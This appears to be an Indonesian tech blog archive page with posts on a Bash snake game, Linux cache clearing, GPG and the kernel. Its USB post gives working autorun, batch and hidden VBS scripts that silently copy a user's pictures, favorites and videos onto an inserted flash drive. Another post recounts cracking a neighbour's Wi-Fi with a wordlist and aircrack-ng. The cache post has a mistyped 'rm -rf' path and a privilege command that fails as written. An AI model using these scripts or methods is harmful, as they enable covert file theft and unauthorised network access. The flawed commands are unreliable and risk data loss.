Tampilkan postingan dengan label how to work. Tampilkan semua postingan
Tampilkan postingan dengan label how to work. Tampilkan semua postingan

Membuat Game Snake Simpel Dari Scripting Shell (BASH) Pada Linux


    Permainan Snake Atau bisa di sebut juga permainan ular adalah salah satu game jadul yang pernah tersedia pada HP hitam putih  seperti nokia jadul dll. Disini saya akan membahas bagaimana membuat script pada BASH (Bourne Again Shell) Pada OS Linux tentunya jika di windows bisa juga tapi kita perlu instal Compilernya seperti Cygwin atau dll.
  Script Ini adalah script yang saya kutip dari website sebelah, sebenarnya saya tidak bermaksud mengambil konsep atau copy-paste tetapi saya ingin sharing tentang programing shell agar kita bisa mempelajarinya, bahwasanya dengan mempelajari programing Shell kita tentunya akan lebih mahir lagi dalam menggunakan OS linux.
  Sebenarnya game ini tidak perlu repot repot kita bikin dari Nol tinggal download aja lewat Software Center Pun bisa dan lebih bagus lagi ada grafisnya, tapi saya disini ingin untuk teman teman yang membaca postingan saya aggar bisa paham sedikit Scripting shell ini.
  Saran saya sebagai pengguna linux kita harus paham bagaimana membangun Scripting Shell. Tapi disini saya tidak menguraikannya hanya saja script gamming ular yang saya share dari tetangga sebelah, agar mudah di pelari, dengan alasan , Kenapa bisa ? kok bisa ? dan sebagainya. hehehe

kita dapat mengubah ukuran layar untuk membuatnya lebih kecil dan lebih Besar dengan mengubah variabel-variabel ini:
LASTCOL=40                      # Last col of game area
LASTROW=20                      # Last row of game area
NB : Ganti Nomer yang berwarna Merah dengan angka lain untuk ukuran layarnya

Scriptnya Di Bawah Ini :
#!/bin/bash
# Centipede game
# v2.0
# Author: sol@subnetzero.org
# Functions

drawborder() {
   # Draw top
   tput setf 6
   tput cup $FIRSTROW $FIRSTCOL
   x=$FIRSTCOL
   while [ "$x" -le "$LASTCOL" ];
   do
      printf %b "$WALLCHAR"
      x=$(( $x + 1 ));
   done

   # Draw sides
   x=$FIRSTROW
   while [ "$x" -le "$LASTROW" ];
   do
      tput cup $x $FIRSTCOL; printf %b "$WALLCHAR"
      tput cup $x $LASTCOL; printf %b "$WALLCHAR"
      x=$(( $x + 1 ));
   done

   # Draw bottom
   tput cup $LASTROW $FIRSTCOL
   x=$FIRSTCOL
   while [ "$x" -le "$LASTCOL" ];
   do
      printf %b "$WALLCHAR"
      x=$(( $x + 1 ));
   done
   tput setf 9
}

apple() {
   # Pick coordinates within the game area
   APPLEX=$[( $RANDOM % ( $[ $AREAMAXX - $AREAMINX ] + 1 ) ) + $AREAMINX ]
   APPLEY=$[( $RANDOM % ( $[ $AREAMAXY - $AREAMINY ] + 1 ) ) + $AREAMINY ]
}

drawapple() {
   # Check we haven't picked an occupied space
   LASTEL=$(( ${#LASTPOSX[@]} - 1 ))
   x=0
   apple
   while [ "$x" -le "$LASTEL" ];
   do
      if [ "$APPLEX" = "${LASTPOSX[$x]}" ] && [ "$APPLEY" = "${LASTPOSY[$x]}" ];
      then
         # Invalid coords... in use
         x=0
         apple
      else
         x=$(( $x + 1 ))
      fi
   done
   tput setf 4
   tput cup $APPLEY $APPLEX
   printf %b "$APPLECHAR"
   tput setf 9
}

growsnake() {
   # Pad out the arrays with oldest position 3 times to make snake bigger
   LASTPOSX=( ${LASTPOSX[0]} ${LASTPOSX[0]} ${LASTPOSX[0]} ${LASTPOSX[@]} )
   LASTPOSY=( ${LASTPOSY[0]} ${LASTPOSY[0]} ${LASTPOSY[0]} ${LASTPOSY[@]} )
   RET=1
   while [ "$RET" -eq "1" ];
   do
      apple
      RET=$?
   done
   drawapple
}

move() {
   case "$DIRECTION" in
      u) POSY=$(( $POSY - 1 ));;
      d) POSY=$(( $POSY + 1 ));;
      l) POSX=$(( $POSX - 1 ));;
      r) POSX=$(( $POSX + 1 ));;
   esac

   # Collision detection
   ( sleep $DELAY && kill -ALRM $$ ) &
   if [ "$POSX" -le "$FIRSTCOL" ] || [ "$POSX" -ge "$LASTCOL" ] ; then
      tput cup $(( $LASTROW + 1 )) 0
      stty echo
      echo " GAME OVER! You hit a wall!"
      gameover
   elif [ "$POSY" -le "$FIRSTROW" ] || [ "$POSY" -ge "$LASTROW" ] ; then
      tput cup $(( $LASTROW + 1 )) 0
      stty echo
      echo " GAME OVER! You hit a wall!"
      gameover
   fi

   # Get Last Element of Array ref
   LASTEL=$(( ${#LASTPOSX[@]} - 1 ))
   #tput cup $ROWS 0
   #printf "LASTEL: $LASTEL"

   x=1 # set starting element to 1 as pos 0 should be undrawn further down (end of tail)
   while [ "$x" -le "$LASTEL" ];
   do
      if [ "$POSX" = "${LASTPOSX[$x]}" ] && [ "$POSY" = "${LASTPOSY[$x]}" ];
      then
         tput cup $(( $LASTROW + 1 )) 0
         echo " GAME OVER! YOU ATE YOURSELF!"
         gameover
      fi
      x=$(( $x + 1 ))
   done

   # clear the oldest position on screen
   tput cup ${LASTPOSY[0]} ${LASTPOSX[0]}
   printf " "

   # truncate position history by 1 (get rid of oldest)
   LASTPOSX=( `echo "${LASTPOSX[@]}" | cut -d " " -f 2-` $POSX )
   LASTPOSY=( `echo "${LASTPOSY[@]}" | cut -d " " -f 2-` $POSY )
   tput cup 1 10
   #echo "LASTPOSX array ${LASTPOSX[@]} LASTPOSY array ${LASTPOSY[@]}"
   tput cup 2 10
   echo "SIZE=${#LASTPOSX[@]}"

   # update position history (add last to highest val)
   LASTPOSX[$LASTEL]=$POSX
   LASTPOSY[$LASTEL]=$POSY

   # plot new position
   tput setf 2
   tput cup $POSY $POSX
   printf %b "$SNAKECHAR"
   tput setf 9

   # Check if we hit an apple
   if [ "$POSX" -eq "$APPLEX" ] && [ "$POSY" -eq "$APPLEY" ]; then
      growsnake
      updatescore 10
   fi
}

updatescore() {
   SCORE=$(( $SCORE + $1 ))
   tput cup 2 30
   printf "SCORE: $SCORE"
}
randomchar() {
    [ $# -eq 0 ] && return 1
    n=$(( ($RANDOM % $#) + 1 ))
    eval DIRECTION=\${$n}
}

gameover() {
   tput cvvis
   stty echo
   sleep $DELAY
   trap exit ALRM
   tput cup $ROWS 0
   exit
}

###########################END OF FUNCS##########################

# Prettier characters but not supported
# by all termtypes/locales
#SNAKECHAR="\0256"           # Character to use for snake
#WALLCHAR="\0244"            # Character to use for wall
#APPLECHAR="\0362"           # Character to use for apples
#
# Normal boring ASCII Chars
SNAKECHAR="@"                # Character to use for snake
WALLCHAR="X"                 # Character to use for wall
APPLECHAR="o"                # Character to use for apples
#
SNAKESIZE=3               # Initial Size of array aka snake
DELAY=0.2                 # Timer delay for move function
FIRSTROW=3                # First row of game area
FIRSTCOL=1                # First col of game area
LASTCOL=40                # Last col of game area
LASTROW=20                # Last row of game area
AREAMAXX=$(( $LASTCOL - 1 ))   # Furthest right play area X
AREAMINX=$(( $FIRSTCOL + 1 ))  # Furthest left play area X
AREAMAXY=$(( $LASTROW - 1 ))   # Lowest play area Y
AREAMINY=$(( $FIRSTROW + 1))   # Highest play area Y
ROWS=`tput lines`              # Rows in terminal
ORIGINX=$(( $LASTCOL / 2 ))   # Start point X - use bc as it will round
ORIGINY=$(( $LASTROW / 2 ))   # Start point Y - use bc as it will round
POSX=$ORIGINX                  # Set POSX to start pos
POSY=$ORIGINY                  # Set POSY to start pos

# Pad out arrays
ZEROES=`echo |awk '{printf("%0"'"$SNAKESIZE"'"d\n",$1)}' | sed 's/0/0 /g'`
LASTPOSX=( $ZEROES )       # Pad with zeroes to start with
LASTPOSY=( $ZEROES )       # Pad with zeroes to start with

SCORE=0                    # Starting score

clear
echo "
Keys:

 W - UP
 S - DOWN
 A - LEFT
 D - RIGHT
 X - QUIT

If characters do not display properly, consider changing
SNAKECHAR, APPLECHAR and WALLCHAR variables in script.
Characters supported depend upon your terminal setup.

Press Return to continue
"

stty -echo
tput civis
read RTN
tput setb 0
tput bold
clear
drawborder
updatescore 0

# Draw the first apple on the screen
# (has collision detection to ensure we don't draw
# over snake)
drawapple
sleep 1
trap move ALRM

# Pick a random direction to start moving in
DIRECTIONS=( u d l r )
randomchar "${DIRECTIONS[@]}"

sleep 1
move
while :
do
   read -s -n 1 key
   case "$key" in
   w)   DIRECTION="u";;
   s)   DIRECTION="d";;
   a)   DIRECTION="l";;
   d)   DIRECTION="r";;
   x)   tput cup $COLS 0
        echo "Quitting..."
        tput cvvis
        stty echo
        tput reset
        printf "Bye Bye!\n"
        trap exit ALRM
        sleep $DELAY
        exit 0
        ;;
   esac
done 
Sekian !!

Apa Itu Cache Dan Bagaimana Cara menghapusnya Pada OS Linux ?

   Pada dasarnya terkadang kita lupa akan cache atau bahasa indonesianya yaitu Tembolok pada OS linux, jangan dianggap remeh  menurut saya cache itu adalah sebuah Sampah walaupun berukuran kecil maka jika lama kelamaan dibiarin makan akan menumpuk dan membuat Sistem Operasi kita menjadi Lambat dan hang (freeze).
  Menurut Pengertian Umum, Cache adalah sebuah temporary folder atau folder sementara yang digunakan untuk menyimpan data aplikasi atau data data sebuah website yang telah kita kunjungi yang bertujuan untuk membantu mempercepat akses ke website tersebut tanpa harus memerlukan banyak bandwith atau tanpa memerlukan Kouta untuk mengakses website tersebut bahkan kekurangan dari cache tersebut adalah " dapat membuat laptop kita hang dan bikin berat ".
  Jika di Windows kita sering menghapusnya bisa jadi menggunakan CCleaner dan sebagainya. Untuk linux sendiri ada aplikasinya yang bernama Bleachbit yang berfungsi menghapus Cache dan sebagainya. saya tidak akan banyak membahas aplikasi ini itu, karena saya suka melakukan sesuatu itu dengan cara manual. Nah jika pada linux sebenarnya kita bisa menghapusnya akan tetapi banyak diantara kita yang tidak memperdulikannya atau lupa sehingga jadi menumpuk seperti di bawah ini.


  Pada gambar diatas adalah hasil dari analyzer file pada Linux fedora, Pada OS linux untuk masalah Cache dan Pencachean ada pada folder /var/cache  
  Jadi solusinya adalah dengan cara menghapus cache tersebut, disini saya akan membahas bagaimana cara menghapus cache pada Linux Fedora dan Linux Lainnya. Disini saya akan membahas bagaimana cara menghapus cache tanpa menggunakan penginstalan aplikasi lagi yaitu menggunakan fitur yang sudah disediakan pada OS linux kita, Jadi cara ini dapat menghemat Space HDD kita. Oke langsung saja saya bahas.

Fedora
  Buka terminal (Ctrl+T), lalu masukan perintah di bawah ini untuk menghapusnya menggunakan fitur khusus dari yum.
sudo yum-depricated clean all

Ubuntu
  Buka terminal (Ctrl+T), lalu masukan perintah di bawah ini untuk menghapusnya menggunakan fitur khusus dari APT.
sudo apt-get autoclean
sudo apt-get autoremove

Semua OS Linux
  Buka terminal (Ctrl+T), lalu masukan perintah di bawah ini untuk menghapusnya menggunakan fitur rm (perintah penghapusan file pada semua distro linux).
sudo rm -rf var/cache/*

Menghapus Cache Memory
  Buka terminal (Ctrl+T), lalu masukan perintah di bawah ini untuk menghapusnya cache pada Memory menggunakan fitur sync dan echo.
sync; sudo echo 3 > /proc/sys/vm/drop_caches
sync; sudo echo 2 > /proc/sys/vm/drop_caches
sync; sudo echo 1 > /proc/sys/vm/drop_caches

Atau
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
sync; echo 2 | sudo tee /proc/sys/vm/drop_caches 
sync; echo 1 | sudo tee /proc/sys/vm/drop_caches
Sekian tutorial dari saya, Semoga Bermanfaat !!

Membuat Script Otomatis Menyalin File Pada Komputer Ke Flashdisk Ketika Ditancapkan Pada Windows


TUTORIAL INI HANYA UNTUK KEPERLUAN INFORMASI DAN PEMBELAJARAN SAJA, JIKA ADA SESEORANG YANG MENYALAHGUNAKAN INFORMASI INI UNTUK KEPERLUAN TINDAK KEJAHATAN DAN MELAKUKAN COPY FILE ORANG LAIN TANPA IZIN KE PERANGKAT USB, SAYA SEBAGAI ADMIN TIDAK BERTANGGUNGJAWAB UNTUK HAL TERSEBUT JIKA TUTORIAL INI DIGUNAKAN TIDAK SEMESTINYA.

  Bagaimana cara membuat sebuah script pada usb drive sederhana yang berguna untuk meng-copy file seperti gambar, folder dan video ke dalam sebuah drive atau flashdisk secara otomatis dan diam-diam ketika dimasukkan, biasanya ini sering digunakan untuk keperluan membackup data penting secara otomatis tanpa perlu copy-paste lagi ke dalam flashdisk. Berikut ini adalah penjelasan beberapa alat dan bahan yang di butuhkan.

1. Perangkat USB




  Sekedar penjelasan gambar diatas, kita dapat menggunakan ukuran USB Drive atau FlashDisk dengan ukuran yang besar, tergantung data apa yang mau di tranfer ke dalam USB kita, Semakin banyak Ruang/Space yang ada pada USB itu lebih baik.

2. Buat Script Autorun.inf Pada USB



  Pada gambar diatas adalah dimana proses pembuatan file script autorun.inf. File ini berguna ketika kita memasukkan flashdisk atau USB pada komputer otomatis akan berjalan program batch sendirinya,  Juga bisa digunakan untuk mengubah icon flashdisk kita dengan sendirinya.
  Berikut adalah kode pengkodingan scipt, kita harus membuka editor sederhana seperti notepad pada gambar diatas atau tergantung selera kita masing masing.

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat
Lalu SAVE, script tersebut pada USB kita tadi dengan nama AutoRun.inf
Seperti Gambar di bawah ini :


Keteranga :
open   = membuka perintah kode ini mengambil file peluncuran batch dan membukanya.
action = Perintah Pesan Notifikasinya


  pada perintah Action ini dapat berubah sesuai dengan kebutuhan kita sendiri, ketika autorun menjalankan scriptnya kadang-kadang mungkin meminta pengguna atau user untuk membukanya tergantung apa yang kita masukkan pada pesan disini. Pesan Notikafi diatas adalah Akan memberitahu pengguna atau User untuk klik di sini untuk Pesan akan menjalankan program seperti membackup file dan lain lain. Kode ini bertindak sebagai cadangan hanya dalam kasus pengguna diminta apa untuk membuka.
Shell/command = bertindak sebagai file cadangan jika pengguna mengklik membatalkan bukannya terbuka ketika diminta. Kode ini akan mengeksekusi ketika icon drive diklik.


3. Buat Script Batch


Copy atau buat Script dibawah ini, lalu simpan Dalam FlashDisk Kita.
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls
  Script Diatas Ini adalah ibaratnya sebuah jantung dari pengkopian pada flashdik, Seperti langkah terakhir pastikan kita menggunakan kata untuk membuat file ini simpan sebagai file.bat. Cara kerja Kode ini akan mencari folder User atau pengguna pada gambar, favorit, dan folder video kemudian akan melakukan copy filenya ini ke flash drive atau USB Drive yang ditemukan di folder foto, favorit, dan vids dan lalu akan membersihkan layar dan menutup segera jendela.
   Jika kita ingin menjalankan dan mengubah folder pengkopiannya cukup mengubah perintah scriptnya menjadi seperti di bawah ini dan sesuaikan folder mana yang akan di copy dalam flashdisk kita.
 %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

4. Script VB Untuk Menjalankan Proses Pada Backgroud



   Kode Script VB ini sangat sederhana yaitu untuk menjalankan file.bat sebagai suatu proses sehingga tidak menunjukkan prompt cmd pada layar atau membuat prosesnya berjalan secara backgroud. Berikut ini penulisan Script VB nya, lalu SAVE dalam drive Flashdisk kita dengan nama ekstansi .vbs
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

5. Membuat Script batch Untuk Menjalankan Script VB & file.batch

  File batch ini melakukan dua hal, tampaknya untuk file invisible.vbs di root flash drive kemudian beban itu dengan file.bat sehingga file.bat dijalankan dengan kode dari file VBS. Buat Script dan simpan sebagai sebagai nama file launch.bat seperti di bawah ini

wscript.exe \invisible.vbs file.bat
Lalu Save Dalam Drive USB Flashdisk kita seperti gambar di bawah ini 



7. Testing

  Sekarang jika kita belum menempatkan semua file di root flash drive saatnya untuk melakukannya sekarang. Satu hal yang dapat kita lakukan adalah membuat semua file yang tersembunyi biar tidak semak atau bercampur aduk dengan fle kita nantinya.

Pola Pembentukan Password Dan Ilmu Psikologi



  Biasanya ketika membuat pola sebuah password kita berusaha untuk membuat sebuah password yang mudah diingat dan tidak terfikirkan oleh orang lain. Bagi kebanyakan dari kita itu adalah kalimat atau nomor (atau kombinasi keduanya), sadar atau tidak sadar, kita biasanya membuat pola dengan makna mendalam dalam kehidupan kita.

  Pola password itu adalah hal yang sangat penting dalam pembentukan sebuah paswword biasanya simbol sebuah kalimat, atau simbol sebuah angka pada pola pikir masing masing, Sedangkan Password adalah Gabungan atau Kumpulan Pola Pola yang membentuk menjadi password. Jadi contohnya ketika saya berkunjung kesebuah warkop (warung kopi) untuk bersantai dan wifian gratis, otomatis saya harus meminta password wifinya.
  Ketika password sudah diberikan, saya menghafal pola tersebut yang mengindikasikan ini adalah "Password hari pertama"
contoh password wifi hari pertama :

kopisusu
  Kemudian ketika beberapa minggu saya berkunjung lagi dengan tujuan yang sama, ternyata ketika saya meminta password,  passwordnya sudah di ganti dan saya mengindikasikan bahwa ini "password hari kedua" yaitu :
milodingin
  Pada minggu selanjutnya saya berkunjung lagi kewarkop tersebut, dan lagi lagi password wifinya diganti dan saya mengindikasikan bahwa ini "password hari ketiga" yaitu :
sangerpanas
  Nah pada hari selanjutnya saya sudah bisa menetebak Pola passwordnya walaupun banyak kategori, setidaknya saya sudah bisa memahami pola password dari admin wifi workop tersebut (yang mengganti password wifi pada warkop) pola passwordnya yaitu "Tentang menu minuman yang ada di warkop tersebut"
  Dah jika kita pahami lagi cara penulisannya bahwa setiap penghubung kalimat tidak ada tanda spasi ini adalah pola penulisannya, jadi sudah bisa ditebak yaitu denga pola menu minuman pada warkop tersebut dan tidak ada spasi sebagai penghubung kalimat.
Contohnya seperti ini :


Hari pertama

kopi susu
hari kedua
milo dingin
hari ketika
sanger panas
  Sebagai contoh diatas antara penghubung kalimat terdapat tanda spasi, berarti pola password selanjutnya adalah menu minuman di warkop tersebut dan penghubung kalimat sbagai spasi. ini adalah sebagaian besar trik dari  psikologi bagaimana memahami pola pertama, kedua dan ketiga walaupun ini kemungkinanya yaitu 40% berhasil, setidaknya password selanjutnya tidak jauh berbeda.
  Pada ilustrasi di atas sudah jelas bahwa pola pembentukan password tidak jauh berbeda dengan password hari pertama,  pada contoh lain, terkadang pola password yang di pakai adalah tentang nama pacar, kesukaan, hobi maupun tanggal lahir dan lain lain.
     Untuk tujuan kenyamanan, sebelumnya kebanyakan orang suka menyimpan pola yang  sederhana,  Namun, ketika terjadi peretasan password, itu akan menjadi penting untuk memilih password yang kompleks yang sulit untuk ditebak.

  Sebagai pengalaman saya dalam hal menebak password, setidaknya kita harus pahami dulu si korban, tingkah laku, dan password password yang pernah diganti. dalam hal pengalaman saya ketika saya menebak password wifi tetangga saya, karena saya membutuhkan jaringan untuk ngeblog juga, jadi begini :
  Pada pola kasus pertama password wifinya adalah 294094080326, itu saya dapatkan karena meminta langsung kepada pemiliknya, pada bulan berikutnya password tersebut sudah di ganti yaitu 2940940803267777, itu juga saya minta langsunng karena rada rada gak enak juga sering sering numpang hehehe.
  jadi pada pergantian selanjutnya saya sudah menebak password tersebut yaitu 294094080326777785, bisa dilihat bahwasannya passwordnya cuma ditambahkan pada ujung password lama, jadi kita cuma membuat wordlist dari 2940940803267777 sampai 29409408032677779999 dengan bantuan aplikasi wordlist, lalu bermain dengan aricrack-ng (bruto force). itu logika nya yang saya sampaikan diatas adalah kemungkinan besar 40% berhasil jadi berhasil atau tidak itu tergantung pola pikir yang membuat password.

SEKIAN !!

Apa Itu GPG (GNU Privacy Guard) ?


   GPG (GNU Privacy Guard) adalah suatu software enkripsi yang mengimplementasikan RFC2440. Penggunaan program ini biasanya pada enkripsi email atau sebagai digital signature. Model enkripsi yang digunakan adalah PKI(Public Key Infrastructure). Dengan demikian seseorang pasti mempunyai sepasang kunci yaitu Private Key dan Public Key.
   Private Key adalah kunci enkripsi yang hanya boleh diakses oleh pemilik kunci, sedangkan public key sebisa mungkin harus disebarkan seluas-luasnya. Penyebaran public key ini dapat dilakukan secara manual, yakni dengan cara mendownload dari web seseorang, atau seseorang dapat juga mengirimkan public keynya ke suatu keyserver yang menyimpan public key banyak orang seperti pgp.mit.edu atau www.keyserver.net. Semua orang dapat mencari/mendownload public key milik orang lain untuk digunakan di kemudian hari.
  Private key digunakan untuk mendekrip chiper text yang ditujukan kepada sang pemilik, atau menandatangani suatu dokumen/file yang dikirimkan kepada orang lain. Lalu Bagaimana dengan public key? Key inilah yang digunakan oleh orang lain untuk mengenkrip file teks yang ditujukan kepada sang pemilik key, atau untuk memeriksa/verifikasi keaslian dokumen yang telah ditandatangani oleh pemilik private key.

Contoh Ilustrasi Pemakaian GPG :


 Sebagai contoh, Si A akan mengirim email yang berisi puisi cinta kepada Si B . Sebelum kita dapat mengenkrip puisi cintanya, Si A harus memiliki public key Si B. Si A dapat meminta Si B untuk mengirimkan public keynya melalui email, atau mencari di keyserver bila Si B sudah mensubmitnya. Dengan menggunakan public key itulah maka Si A dapat mengenkripsi puisi cintanya untuk kemudian dikirimkan kepada Si B.
  Si B menerima puisi cinta dari Si A Sendiri dalam bentuk yang terenkripsi. Untuk membacanya Si B perlu mendekrip teks itu. Selain Si B tidak ada orang lain yang dapat mendekrip puisi cinta itu, karena hanya Si B lah yang mempunyai private keynya. Bila private key Si B jatuh ke tangan orang lain, maka orang itu juga dapat mendekrip segala macam email terenkripsi yang ditujukan kepadanya. Maka dari itu Si B harus menyimpan private keynya secara baik dan aman.
  Pada kasus di atas, ada kemungkinan bahwa yang mengirimkan puisi cinta itu bukanlah Si A, namun orang lain yang berpura-pura menjadi Si A. Bukankah email itu dienkrip? Ya, memang. Namun karena enkripsi menggunakan public key sebagai kunci enkripsinya maka siapa pun yang mempunyai public key Si B dapat mengenkrip teks untuk Si B. Oleh karena itu ada baiknya bila Si A juga menandatangani emailnya.
  Untuk membubuhkan digital signature, kita harus menggunakan private key, dan bukan public key. Pada saat menerima email puisi cinta itu, Wawa harus memverifikasi bahwa digital signature yang terdapat di sana benar-benar asli milik Si A dengan menggunakan public key milik Si A. Dengan begitu Si B boleh merasa yakin bahwa puisi itu benar-benar dikirim oleh Si A.
  Enkripsi gpg biasa digunakan dalam pengiriman email. Banyak Mail User Agent (MUA) yang telah mendukung penggunaannya, namun ada juga yang tidak atau belum mengimplementasikan fungsi pgp ini.

Sumber : Disini
Penulis : Sokam.or.id 

Apa Itu Kernel Dan Bagaimana Hubungan Dengan OS ?

  Kernel adalah seperangkat program atau sekumpulan source code yang mengikuti konsep dasar dari sistem operasi. Dengan kata lain, kernel adalah bagian mendasar dari sistem operasi komputer dan digunakan untuk memberi perintah dan menjalankan hardware contohnya seperti CPU, memori, perangkat I/O (input/output) dan lain lain, dan juga menyediakan sebuah platform untuk dapat menjalankan program lain dan memanfaatkan semua hardware yang sudah di instruksikan untuk bekerja semaksimal mungkin. Tanpa ada nya sebuah kernel Operating system (OS) tidak akan bekerja sama sekali.

  Kode kernel biasanya di intruksi-kan kedalam perangkat memori atau bagian yang lebih jarang digunakan sistem operasi yang disebut sebagai daerah kernel. Berbagai intruksi kernel itu berbeda dalam mengatur instruksi pada sistem dan hardware.

  Program lain akan mengeksekusi atau mengintuksikan di area terbatas lainnya yang dikenal sebagai daerah user (pengguna). daerah user tidak memiliki banyak hak untuk akses untuk mengelola daerah yang bisa di bilang daerah yang berbahaya. program yang di jalankan akan meminta kernel untuk mendapatkan instruksi menggunakan sistem panggilan, di bawah ini adalah contoh dari bagian kernel.



  Sebuah sistem operasi pada dasarnya adalah untuk mengelola perangkat pada komputer.  sistem operasi melakukan instruksi dalam model 3 lapisan. Lapisan paling atas adalah antarmuka (GUI/CLI) untuk user (tempat kita bermain). lapisan kedua adalah bagian driver dan yang bertanggung jawab atas instruksi yang di sampaikan pada kernel itu sendiri. Lapisan yang terakhir adalah lapisan kernel dan terdiri dari instruksi intruksi yang di sampaikan kepada hardware. Jadi Kesimpulannya, " Kernel itu adalah bagian inti dari sistem operasi yang tugas utamanya menerima instruksi dari user lalu meneruskan ke hardware untuk untuk menjalankannya. "